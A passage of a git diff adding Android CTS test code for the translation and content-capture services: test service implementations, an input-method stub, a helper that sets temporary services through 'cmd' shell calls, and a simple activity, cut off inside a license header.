+<!-- Configuration info for an input method -->
+<input-method xmlns:android="http://schemas.android.com/apk/res/android" />
\ No newline at end of file
diff --git a/tests/translation/res/xml/translation_config.xml b/tests/translation/res/xml/translation_config.xml
new file mode 100644
index 0000000..6ab30d5
--- /dev/null
+++ b/tests/translation/res/xml/translation_config.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+/*
+**
+** Copyright 2021, The Android Open Source Project
+**
+** Licensed under the Apache License, Version 2.0 (the "License");
+** you may not use this file except in compliance with the License.
+** You may obtain a copy of the License at
+**
+**     http://www.apache.org/licenses/LICENSE-2.0
+**
+** Unless required by applicable law or agreed to in writing, software
+** distributed under the License is distributed on an "AS IS" BASIS,
+** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+** See the License for the specific language governing permissions and
+** limitations under the License.
+*/
+-->
+<translation-service xmlns:android="http://schemas.android.com/apk/res/android"
+                     android:settingsActivity="android.translation.cts.SimpleActivity">
+</translation-service>
\ No newline at end of file
diff --git a/tests/translation/src/android/translation/cts/CtsContentCaptureService.java b/tests/translation/src/android/translation/cts/CtsContentCaptureService.java
new file mode 100644
index 0000000..600034a
--- /dev/null
+++ b/tests/translation/src/android/translation/cts/CtsContentCaptureService.java
@@ -0,0 +1,191 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.translation.cts;
+
+import android.content.ComponentName;
+import android.service.contentcapture.ActivityEvent;
+import android.service.contentcapture.ContentCaptureService;
+import android.service.contentcapture.DataShareCallback;
+import android.util.ArraySet;
+import android.util.Log;
+import android.util.Pair;
+import android.view.contentcapture.ContentCaptureContext;
+import android.view.contentcapture.ContentCaptureEvent;
+import android.view.contentcapture.ContentCaptureSessionId;
+import android.view.contentcapture.DataRemovalRequest;
+import android.view.contentcapture.DataShareRequest;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import java.util.Set;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Implementation of {@link ContentCaptureService} used in CTS tests.
+ */
+public class CtsContentCaptureService extends ContentCaptureService {
+
+    private static final String TAG = "CtsContentCaptureService";
+
+    public static final String SERVICE_PACKAGE = "android.translation.cts";
+    public static final String SERVICE_NAME = SERVICE_PACKAGE + "/."
+            + CtsContentCaptureService.class.getSimpleName();
+
+    public static final long GENERIC_TIMEOUT_MS = 10_000;
+
+    private static ServiceWatcher sServiceWatcher;
+
+    private ContentCaptureContext mContentCaptureContext;
+    private final CountDownLatch mSessionCreatedLatch = new CountDownLatch(1);
+
+    @Override
+    public void onConnected() {
+        Log.i(TAG, "onConnected.");
+
+        if (sServiceWatcher != null) {
+            sServiceWatcher.mService = this;
+            sServiceWatcher.mConnected.countDown();
+        }
+    }
+
+    @Override
+    public void onDisconnected() {
+        Log.i(TAG, "onDisconnected.");
+        if (sServiceWatcher != null) {
+            sServiceWatcher.mService = null;
+            sServiceWatcher.mDisconnected.countDown();
+            sServiceWatcher = null;
+        }
+    }
+
+    @Override
+    public void onCreateContentCaptureSession(ContentCaptureContext context,
+            ContentCaptureSessionId sessionId) {
+        Log.i(TAG, "onCreateContentCaptureSession.");
+        mSessionCreatedLatch.countDown();
+        mContentCaptureContext = context;
+    }
+
+    @Override
+    public void onDestroyContentCaptureSession(ContentCaptureSessionId sessionId) {
+        Log.i(TAG, "onDestroyContentCaptureSession.");
+    }
+
+    @Override
+    public void onContentCaptureEvent(ContentCaptureSessionId sessionId,
+            ContentCaptureEvent event) {
+
+    }
+
+    @Override
+    public void onDataRemovalRequest(DataRemovalRequest request) {
+
+    }
+
+    @Override
+    public void onDataShareRequest(DataShareRequest request, DataShareCallback callback) {
+
+    }
+
+    @Override
+    public void onActivityEvent(ActivityEvent event) {
+
+    }
+
+    /**
+     * Set the ServiceWatcher that used to monitor the service status.
+     */
+    public static ServiceWatcher setServiceWatcher() {
+        if (sServiceWatcher != null) {
+            throw new IllegalStateException("There Can Be Only One!");
+        }
+        sServiceWatcher = new ServiceWatcher();
+        return sServiceWatcher;
+    }
+
+    /**
+     * Resets the static state of this Service. Called before each test.
+     */
+    public static void resetStaticState() {
+        sServiceWatcher = null;
+    }
+
+    /**
+     * Get the ContentCaptureContext that set by {@link #onCreateContentCaptureSession}.
+     */
+    ContentCaptureContext getContentCaptureContext() {
+        return mContentCaptureContext;
+    }
+
+    /**
+     * Wait the ContentCapture session created.
+     */
+    void awaitSessionCreated(long timeoutMillis) {
+        try {
+            mSessionCreatedLatch.await(timeoutMillis, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            // do nothing
+        }
+    }
+
+    /**
+     * Helper class to monitor the state of the service.
+     */
+    public static final class ServiceWatcher {
+        private final CountDownLatch mConnected = new CountDownLatch(1);
+        private final CountDownLatch mDisconnected = new CountDownLatch(1);
+
+        CtsContentCaptureService mService;
+        private Pair<Set<String>, Set<ComponentName>> mAllowList;
+
+        @NonNull
+        public CtsContentCaptureService waitOnConnected() throws InterruptedException {
+            await(mConnected, "not connected");
+
+            if (mService == null) {
+                throw new IllegalStateException("not connected");
+            }
+            if (mAllowList != null) {
+                Log.d(TAG, "Allow after created: " + mAllowList);
+                mService.setContentCaptureWhitelist(mAllowList.first, mAllowList.second);
+            }
+            return mService;
+        }
+
+        public void waitOnDisconnected() throws InterruptedException {
+            await(mDisconnected, "not disconnected");
+        }
+
+        public void setAllowSelf() {
+            final ArraySet<String> pkgs = new ArraySet<>(1);
+            pkgs.add(SERVICE_PACKAGE);
+            mAllowList = new Pair<>(pkgs, null);
+        }
+
+        private static void await(@NonNull CountDownLatch latch, @NonNull String fmt,
+                @Nullable Object... args)
+                throws InterruptedException {
+            final boolean called = latch.await(GENERIC_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+            if (!called) {
+                throw new IllegalStateException(String.format(fmt, args)
+                        + " in " + GENERIC_TIMEOUT_MS + "ms");
+            }
+        }
+    }
+}
diff --git a/tests/translation/src/android/translation/cts/CtsTestIme.java b/tests/translation/src/android/translation/cts/CtsTestIme.java
new file mode 100644
index 0000000..9094be8
--- /dev/null
+++ b/tests/translation/src/android/translation/cts/CtsTestIme.java
@@ -0,0 +1,170 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.translation.cts;
+
+import static android.translation.cts.Helper.ACTION_ASSERT_UI_TRANSLATION_CALLBACK_ON_FINISH;
+import static android.translation.cts.Helper.ACTION_ASSERT_UI_TRANSLATION_CALLBACK_ON_START;
+import static android.translation.cts.Helper.ACTION_REGISTER_UI_TRANSLATION_CALLBACK;
+import static android.translation.cts.Helper.ACTION_UNREGISTER_UI_TRANSLATION_CALLBACK;
+import static android.translation.cts.Helper.EXTRA_FINISH_COMMAND;
+import static android.translation.cts.Helper.EXTRA_SOURCE_LOCALE;
+import static android.translation.cts.Helper.EXTRA_TARGET_LOCALE;
+import static android.translation.cts.Helper.EXTRA_VERIFY_RESULT;
+
+import android.app.PendingIntent;
+import android.app.PendingIntent.CanceledException;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.inputmethodservice.InputMethodService;
+import android.view.View;
+import android.view.inputmethod.EditorInfo;
+import android.view.translation.UiTranslationManager;
+import android.view.translation.UiTranslationStateCallback;
+import android.widget.LinearLayout;
+import android.util.Log;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
+import java.util.concurrent.Executors;
+
+/**
+ * Implementation of {@link InputMethodService} used in CTS tests.
+ */
+public final class CtsTestIme extends InputMethodService {
+
+    private static final String TAG = "CtsTestIme";
+
+    static String IME_SERVICE_PACKAGE = "android.translation.cts";
+
+    private Context mContext;
+    private UiTranslationManagerTest.TestTranslationStateCallback mCallback;
+    private CommandReceiver mReceiver;
+
+    @Override
+    public View onCreateInputView() {
+        return new LinearLayout(this);
+    }
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        mContext = getApplicationContext();
+        if (mReceiver == null) {
+            mReceiver = new CommandReceiver(mContext);
+            mReceiver.register();
+        }
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+        if (mReceiver != null) {
+            mReceiver.unRegister();
+            mReceiver = null;
+        }
+    }
+
+    void registerUiTranslationStateCallback(Intent intent) {
+        final UiTranslationManager manager = mContext.getSystemService(UiTranslationManager.class);
+        mCallback = new UiTranslationManagerTest.TestTranslationStateCallback();
+        final Executor executor = Executors.newSingleThreadExecutor();
+        manager.registerUiTranslationStateCallback(executor, mCallback);
+
+        notifyCommandDone(intent, /* inCludeResult= */ false, /* assertResult= */ false);
+    }
+
+    void unregisterUiTranslationStateCallback(Intent intent) {
+        final UiTranslationManager manager = mContext.getSystemService(UiTranslationManager.class);
+        manager.unregisterUiTranslationStateCallback(mCallback);
+
+        notifyCommandDone(intent, /* inCludeResult= */ false, /* assertResult= */ false);
+    }
+
+    void assertOnStart(Intent intent) {
+        final String expectedSource = intent.getStringExtra(EXTRA_SOURCE_LOCALE);
+        final String expectedTarget = intent.getStringExtra(EXTRA_TARGET_LOCALE);
+        final boolean result = mCallback.verifyOnStart(expectedSource, expectedTarget);
+        notifyCommandDone(intent, /* inCludeResult= */ true, result);
+    }
+
+    void assertOnFinish(Intent intent) {
+        final boolean result = mCallback.isOnFinishedCalled();
+        notifyCommandDone(intent, /* inCludeResult= */ true, result);
+    }
+
+    private void notifyCommandDone(Intent intent, boolean inCludeResult, boolean assertResult) {
+        final PendingIntent pendingIntent = intent.getParcelableExtra(EXTRA_FINISH_COMMAND);
+        if (pendingIntent != null) {
+            try {
+                if (inCludeResult) {
+                    // TODO(b/184617863): better to return the values to the test code not return
+                    // the assert result to the test code.
+                    final Intent result = new Intent();
+                    result.putExtra(EXTRA_VERIFY_RESULT, assertResult);
+                    pendingIntent.send(mContext, 0, result);
+                    return;
+                }
+                pendingIntent.send();
+            } catch (CanceledException e) {
+                Log.w(TAG, "Pending intent " + pendingIntent + " canceled");
+            }
+        }
+    }
+
+    private final class CommandReceiver extends BroadcastReceiver {
+
+        Context mContext;
+
+        CommandReceiver(Context context) {
+            mContext = context;
+        }
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            final String action = intent.getAction();
+            switch(action) {
+                case ACTION_REGISTER_UI_TRANSLATION_CALLBACK:
+                    registerUiTranslationStateCallback(intent);
+                    break;
+                case ACTION_UNREGISTER_UI_TRANSLATION_CALLBACK:
+                    unregisterUiTranslationStateCallback(intent);
+                    break;
+                case ACTION_ASSERT_UI_TRANSLATION_CALLBACK_ON_START:
+                    assertOnStart(intent);
+                    break;
+                case ACTION_ASSERT_UI_TRANSLATION_CALLBACK_ON_FINISH:
+                    assertOnFinish(intent);
+                    break;
+            }
+        }
+
+        void register() {
+            final IntentFilter filter = new IntentFilter();
+            filter.addAction(ACTION_REGISTER_UI_TRANSLATION_CALLBACK);
+            filter.addAction(ACTION_UNREGISTER_UI_TRANSLATION_CALLBACK);
+            filter.addAction(ACTION_ASSERT_UI_TRANSLATION_CALLBACK_ON_START);
+            filter.addAction(ACTION_ASSERT_UI_TRANSLATION_CALLBACK_ON_FINISH);
+            mContext.registerReceiver(this, filter);
+        }
+
+        void unRegister() {
+            mContext.unregisterReceiver(this);
+        }
+    }
+}
diff --git a/tests/translation/src/android/translation/cts/CtsTranslationService.java b/tests/translation/src/android/translation/cts/CtsTranslationService.java
new file mode 100644
index 0000000..33540b6
--- /dev/null
+++ b/tests/translation/src/android/translation/cts/CtsTranslationService.java
@@ -0,0 +1,361 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.translation.cts;
+
+import android.content.Context;
+import android.os.CancellationSignal;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.service.translation.TranslationService;
+import android.util.Log;
+import android.view.translation.TranslationCapability;
+import android.view.translation.TranslationContext;
+import android.view.translation.TranslationRequest;
+import android.view.translation.TranslationResponse;
+import android.view.translation.TranslationSpec;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import com.android.compatibility.common.util.RetryableException;
+import com.android.compatibility.common.util.Timeout;
+
+import java.util.ArrayList;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Objects;
+import java.util.Set;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+import java.util.function.Consumer;
+
+/**
+ * Implementation of {@link TranslationService} used in CTS tests.
+ */
+public class CtsTranslationService extends TranslationService {
+
+    private static final String TAG = CtsTranslationService.class.getSimpleName();
+
+    public static final String SERVICE_PACKAGE = "android.translation.cts";
+    public static final String SERVICE_CLASS = CtsTranslationService.class.getSimpleName();
+    public static final String SERVICE_NAME = SERVICE_PACKAGE + "/." + SERVICE_CLASS;
+
+    private static ServiceWatcher sServiceWatcher;
+
+    private static final TranslationReplier sTranslationReplier = new TranslationReplier();
+
+    private final Handler mHandler;
+
+    private final CountDownLatch mSessionDestroyedLatch = new CountDownLatch(1);
+
+    /**
+     * Timeout for Translation cts.
+     */
+    private static final int TRANSLATION_TIMEOUT_MS = 20_000;
+
+    public CtsTranslationService() {
+        final HandlerThread handlerThread = new HandlerThread("CtsTranslationServiceWorker");
+        handlerThread.start();
+        mHandler = Handler.createAsync(handlerThread.getLooper());
+    }
+
+    /**
+     * Resets the static state of this Service. Called before each test.
+     */
+    public static void resetStaticState() {
+        sServiceWatcher = null;
+        sTranslationReplier.reset();
+    }
+
+    @Override
+    public void onConnected() {
+        Log.v(TAG, "onConnected");
+        if (sServiceWatcher != null) {
+            sServiceWatcher.mService = this;
+            sServiceWatcher.mConnected.countDown();
+        }
+    }
+
+    @Override
+    public void onDisconnected() {
+        Log.v(TAG, "onDisconnected");
+        if (sServiceWatcher != null) {
+            sServiceWatcher.mService = null;
+            sServiceWatcher.mDisconnected.countDown();
+            sServiceWatcher = null;
+        }
+    }
+
+    @Override
+    public void onCreateTranslationSession(@NonNull TranslationContext translationContext,
+            int sessionId) {
+        Log.v(TAG, "onCreateTranslationSession");
+    }
+
+    @Override
+    public void onFinishTranslationSession(int sessionId) {
+        Log.v(TAG, "onFinishTranslationSession");
+        mSessionDestroyedLatch.countDown();
+    }
+
+    @Override
+    public void onTranslationRequest(@NonNull TranslationRequest request, int sessionId,
+            @NonNull CancellationSignal cancellationSignal,
+            @NonNull OnTranslationResultCallback callback) {
+        Log.v(TAG, "onTranslationRequest(" + request + ")");
+
+        mHandler.post(() -> sTranslationReplier.handleOnTranslationRequest(getApplicationContext(),
+                request, sessionId, cancellationSignal, callback));
+    }
+
+    @Override
+    public void onTranslationCapabilitiesRequest(int sourceFormat, int targetFormat,
+            @NonNull Consumer<Set<TranslationCapability>> callback) {
+        //TODO: Implement properly with replier?
+        final HashSet<TranslationCapability> capabilities = new HashSet<>();
+        capabilities.add(new TranslationCapability(TranslationCapability.STATE_ON_DEVICE,
+                new TranslationSpec("en", sourceFormat),
+                new TranslationSpec("es", targetFormat),
+                /* uiTranslationEnabled= */ true, 0));
+        callback.accept(capabilities);
+    }
+
+    @NonNull
+    public static ServiceWatcher setServiceWatcher() {
+        if (sServiceWatcher != null) {
+            throw new IllegalStateException("There Can Be Only One!");
+        }
+        sServiceWatcher = new ServiceWatcher();
+        return sServiceWatcher;
+    }
+
+    /**
+     * Wait the Translation session destroyed.
+     */
+    void awaitSessionDestroyed() {
+        try {
+            mSessionDestroyedLatch.await(TRANSLATION_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            // do nothing
+        }
+    }
+
+    /**
+     * Gets the {@link TranslationReplier} singleton.
+     */
+    public static TranslationReplier getTranslationReplier() {
+        return sTranslationReplier;
+    }
+
+    /**
+     * Object used to answer a
+     * {@link TranslationService#onTranslationRequest(TranslationRequest, int, CancellationSignal,
+     * OnTranslationResultCallback)} on behalf of a unit test method.
+     */
+    public static final class TranslationReplier {
+
+        private final BlockingQueue<TranslationResponse> mResponses =
+                new LinkedBlockingQueue<>();
+        private final BlockingQueue<TranslationRequest> mTranslationRequests =
+                new LinkedBlockingQueue<>();
+
+        private List<Throwable> mExceptions;
+        private boolean mReportUnhandledTranslationRequest = true;
+
+        private TranslationReplier() {
+        }
+
+        /**
+         * Gets the exceptions thrown asynchronously, if any.
+         */
+        @Nullable
+        public List<Throwable> getExceptions() {
+            return mExceptions;
+        }
+
+        private void addException(@Nullable Throwable e) {
+            if (e == null) return;
+
+            if (mExceptions == null) {
+                mExceptions = new ArrayList<>();
+            }
+            mExceptions.add(e);
+        }
+
+        /**
+         * Sets the expectation for the next {@code onFillRequest}.
+         */
+        public TranslationReplier addResponse(@NonNull TranslationResponse response) {
+            Objects.requireNonNull(response, "response should not be null");
+
+            mResponses.add(response);
+            return this;
+        }
+        /**
+         * Gets the next translation request, in the order received.
+         */
+        public TranslationRequest getNextTranslationRequest() {
+            TranslationRequest request;
+            try {
+                request = mTranslationRequests.poll(TRANSLATION_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                Thread.currentThread().interrupt();
+                throw new IllegalStateException("Interrupted", e);
+            }
+            if (request == null) {
+                final Timeout timeout = new Timeout("CONNECTION_TIMEOUT", 
+                        TRANSLATION_TIMEOUT_MS, 2F, TRANSLATION_TIMEOUT_MS);
+                throw new RetryableException(timeout, "onTranslationRequest() not called");
+            }
+            return request;
+        }
+
+        /**
+         * Asserts all {@link TranslationService#onTranslationRequest(TranslationRequest, int,
+         * CancellationSignal, OnTranslationResultCallback)} received by the service were properly
+         * {@link #getNextTranslationRequest()} handled by the test case.
+         */
+        public void assertNoUnhandledTranslationRequests() {
+            if (mTranslationRequests.isEmpty()) return; // Good job, test case!
+
+            if (!mReportUnhandledTranslationRequest) {
+                // Just log, so it's not thrown again on @After if already thrown on main body
+                Log.d(TAG, "assertNoUnhandledFillRequests(): already reported, "
+                        + "but logging just in case: " + mTranslationRequests);
+                return;
+            }
+
+            mReportUnhandledTranslationRequest = false;
+            throw new AssertionError(mTranslationRequests.size() + " unhandled fill requests: "
+                    + mTranslationRequests);
+        }
+
+        /**
+         * Gets the current number of unhandled requests.
+         */
+        public int getNumberUnhandledTranslationRequests() {
+            return mTranslationRequests.size();
+        }
+
+        /**
+         * Resets its internal state.
+         */
+        public void reset() {
+            mResponses.clear();
+            mTranslationRequests.clear();
+            mExceptions = null;
+            mReportUnhandledTranslationRequest = true;
+        }
+
+        private void handleOnTranslationRequest(@NonNull Context context,
+                @NonNull TranslationRequest request, int sessionId,
+                @NonNull CancellationSignal cancellationSignal,
+                @NonNull OnTranslationResultCallback callback) {
+            Log.d(TAG, "offering " + request);
+            offer(mTranslationRequests, request, TRANSLATION_TIMEOUT_MS);
+            try {
+                final TranslationResponse response;
+                try {
+                    response = mResponses.poll(TRANSLATION_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+                } catch (InterruptedException e) {
+                    Log.w(TAG, "Interrupted getting TranslationResponse: " + e);
+                    Thread.currentThread().interrupt();
+                    addException(e);
+                    return;
+                }
+
+                if (response == null) {
+                    Log.w(TAG, "onTranslationRequest() for " + request
+                            + " received when no response was set.");
+                    return;
+                }
+
+                Log.v(TAG, "onTranslationRequest(): response = " + response);
+                callback.onTranslationSuccess(response);
+            } catch (Throwable t) {
+                addException(t);
+            }
+        }
+
+        /**
+         * Offers an object to a queue or times out.
+         *
+         * @return {@code true} if the offer was accepted, {$code false} if it timed out or was
+         * interrupted.
+         */
+        private static <T> boolean offer(BlockingQueue<T> queue, T obj, long timeoutMs) {
+            boolean offered = false;
+            try {
+                offered = queue.offer(obj, timeoutMs, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                Log.w(TAG, "interrupted offering", e);
+                Thread.currentThread().interrupt();
+            }
+            if (!offered) {
+                Log.e(TAG, "could not offer " + obj + " in " + timeoutMs + "ms");
+            }
+            return offered;
+        }
+    }
+
+    /**
+     * Helper class to monitor the state of the service.
+     */
+    public static final class ServiceWatcher {
+        private final CountDownLatch mConnected = new CountDownLatch(1);
+        private final CountDownLatch mDisconnected = new CountDownLatch(1);
+
+        private CtsTranslationService mService;
+
+        @NonNull
+        public CtsTranslationService waitOnConnected() throws InterruptedException {
+            await(mConnected, "not created");
+
+            if (mService == null) {
+                throw new IllegalStateException("not created");
+            }
+
+            return mService;
+        }
+
+        public CtsTranslationService getService() {
+            return mService;
+        }
+
+        public void waitOnDisconnected() throws InterruptedException {
+            await(mDisconnected, "not destroyed");
+        }
+
+        @Override
+        public String toString() {
+            return "mService: " + mService + " created: " + (mConnected.getCount() == 0)
+                    + " destroyed: " + (mDisconnected.getCount() == 0);
+        }
+
+        private static void await(@NonNull CountDownLatch latch, @NonNull String fmt,
+                @Nullable Object... args)
+                throws InterruptedException {
+            final boolean called = latch.await(TRANSLATION_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+            if (!called) {
+                throw new IllegalStateException(String.format(fmt, args)
+                        + " in " + TRANSLATION_TIMEOUT_MS + "ms");
+            }
+        }
+    }
+}
diff --git a/tests/translation/src/android/translation/cts/Helper.java b/tests/translation/src/android/translation/cts/Helper.java
new file mode 100644
index 0000000..8a0871e
--- /dev/null
+++ b/tests/translation/src/android/translation/cts/Helper.java
@@ -0,0 +1,156 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.translation.cts;
+
+import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
+
+import android.content.ContentCaptureOptions;
+import android.content.Context;
+import android.os.UserHandle;
+import android.util.Log;
+import android.view.contentcapture.ContentCaptureContext;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+/**
+ * Helper for common funcionalities.
+ */
+public final class Helper {
+
+    private static final String TAG = "Helper";
+    public static final String ACTION_REGISTER_UI_TRANSLATION_CALLBACK =
+            "android.translation.cts.action.REGISTER_UI_TRANSLATION_CALLBACK";
+    public static final String ACTION_UNREGISTER_UI_TRANSLATION_CALLBACK =
+            "android.translation.cts.action.UNREGISTER_UI_TRANSLATION_CALLBACK";
+    public static final String ACTION_ASSERT_UI_TRANSLATION_CALLBACK_ON_START =
+            "android.translation.cts.action.ASSERT_UI_TRANSLATION_CALLBACK_ON_START";
+    public static final String ACTION_ASSERT_UI_TRANSLATION_CALLBACK_ON_FINISH =
+            "android.translation.cts.action.ASSERT_UI_TRANSLATION_CALLBACK_ON_FINISH";
+
+    public static final String EXTRA_FINISH_COMMAND = "finish_command";
+    public static final String EXTRA_SOURCE_LOCALE = "source_locale";
+    public static final String EXTRA_TARGET_LOCALE = "target_locale";
+    public static final String EXTRA_VERIFY_RESULT = "verify_result";
+
+    /**
+     * Sets the translation service temporarily.
+     *
+     * @param service name of temporary translation service.
+     */
+    public static void setTemporaryTranslationService(String service) {
+        Log.d(TAG, "Setting translation service to " + service);
+        final int userId = UserHandle.myUserId();
+        runShellCommand("cmd translation set temporary-service %d %s 12000", userId, service);
+    }
+
+    /**
+     * Resets the translation service.
+     */
+    public static void resetTemporaryTranslationService() {
+        final int userId = UserHandle.myUserId();
+        Log.d(TAG, "Resetting back user " + userId + " to default translation service");
+        runShellCommand("cmd translation set temporary-service %d", userId);
+    }
+
+    /**
+     * Sets the content capture service temporarily.
+     *
+     * @param service name of temporary translation service.
+     */
+    public static void setTemporaryContentCaptureService(String service) {
+        Log.d(TAG, "Setting content capture service to " + service);
+        final int userId = UserHandle.myUserId();
+        runShellCommand("cmd content_capture set temporary-service %d %s 12000", userId, service);
+    }
+
+    /**
+     * Resets the content capture service.
+     */
+    public static void resetTemporaryContentCaptureService() {
+        final int userId = UserHandle.myUserId();
+        Log.d(TAG, "Resetting back user " + userId + " to default service");
+        runShellCommand("cmd content_capture set temporary-service %d", userId);
+    }
+
+    /**
+     * Enable or disable the default content capture service.
+     *
+     * @param enabled {@code true} to enable default content capture service.
+     */
+    public static void setDefaultContentCaptureServiceEnabled(boolean enabled) {
+        final int userId = UserHandle.myUserId();
+        Log.d(TAG, "setDefaultServiceEnabled(user=" + userId + ", enabled= " + enabled + ")");
+        runShellCommand("cmd content_capture set default-service-enabled %d %s", userId,
+                Boolean.toString(enabled));
+    }
+
+    /**
+     * Add the cts itself into content capture allow list.
+     *
+     * @param context Context of the app.
+     */
+    public static void allowSelfForContentCapture(Context context) {
+        final ContentCaptureOptions options = ContentCaptureOptions.forWhitelistingItself();
+        Log.v(TAG, "allowSelfForContentCapture(): options=" + options);
+        context.getApplicationContext().setContentCaptureOptions(options);
+    }
+
+    /**
+     * Reset the cts itself from content capture allow list.
+     *
+     * @param context Context of the app.
+     */
+    public static void unAllowSelfForContentCapture(Context context) {
+        Log.v(TAG, "unAllowSelfForContentCapture()");
+        context.getApplicationContext().setContentCaptureOptions(null);
+    }
+
+    /**
+     * Return a ui object for resource id.
+     *
+     * @param resourcePackage  package of the object
+     * @param resourceId the resource id of the object
+     */
+    public static UiObject2 findObjectByResId(String resourcePackage, String resourceId) {
+        final UiDevice uiDevice =
+                UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        final UiObject2 foundObj = uiDevice.wait(
+                        Until.findObject(By.res(resourcePackage, resourceId)), 5_000L);
+        return foundObj;
+    }
+
+    static class Triple<T, U, V> {
+
+        private final T first;
+        private final U second;
+        private final V third;
+
+        public Triple(T first, U second, V third) {
+            this.first = first;
+            this.second = second;
+            this.third = third;
+        }
+
+        public T getFirst() { return first; }
+        public U getSecond() { return second; }
+        public V getThird() { return third; }
+    }
+}
\ No newline at end of file
diff --git a/tests/translation/src/android/translation/cts/SimpleActivity.java b/tests/translation/src/android/translation/cts/SimpleActivity.java
new file mode 100644
index 0000000..6b9139c
--- /dev/null
+++ b/tests/translation/src/android/translation/cts/SimpleActivity.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.translation.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.view.autofill.AutofillId;
+import android.widget.TextView;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * A simple activity that contains a TextView used for translation testing.
+ */
+public class SimpleActivity extends Activity {
+
+    public static final String ACTIVITY_PACKAGE = "android.translation.cts";
+    public static final String HELLO_TEXT_ID = "hello";
+
+    private static final String TAG = "SimpleActivity";
+
+    private TextView mHelloText;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.simple_activity);
+
+        mHelloText = findViewById(R.id.hello);
+    }
+
+    List<AutofillId> getViewsForTranslation() {
+        final List<AutofillId> views = new ArrayList<>();
+        views.add(mHelloText.getAutofillId());
+        return views;
+    }
+
+    TextView getHelloText() {
+        return mHelloText;
+    }
+}
diff --git a/tests/translation/src/android/translation/cts/TranslationManagerTest.java b/tests/translation/src/android/translation/cts/TranslationManagerTest.java
new file mode 100644
index 0000000..597d124
--- /dev/null
+++ b/tests/translation/src/android/translation/cts/TranslationManagerTest.java
@@ -0,0 +1,311 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
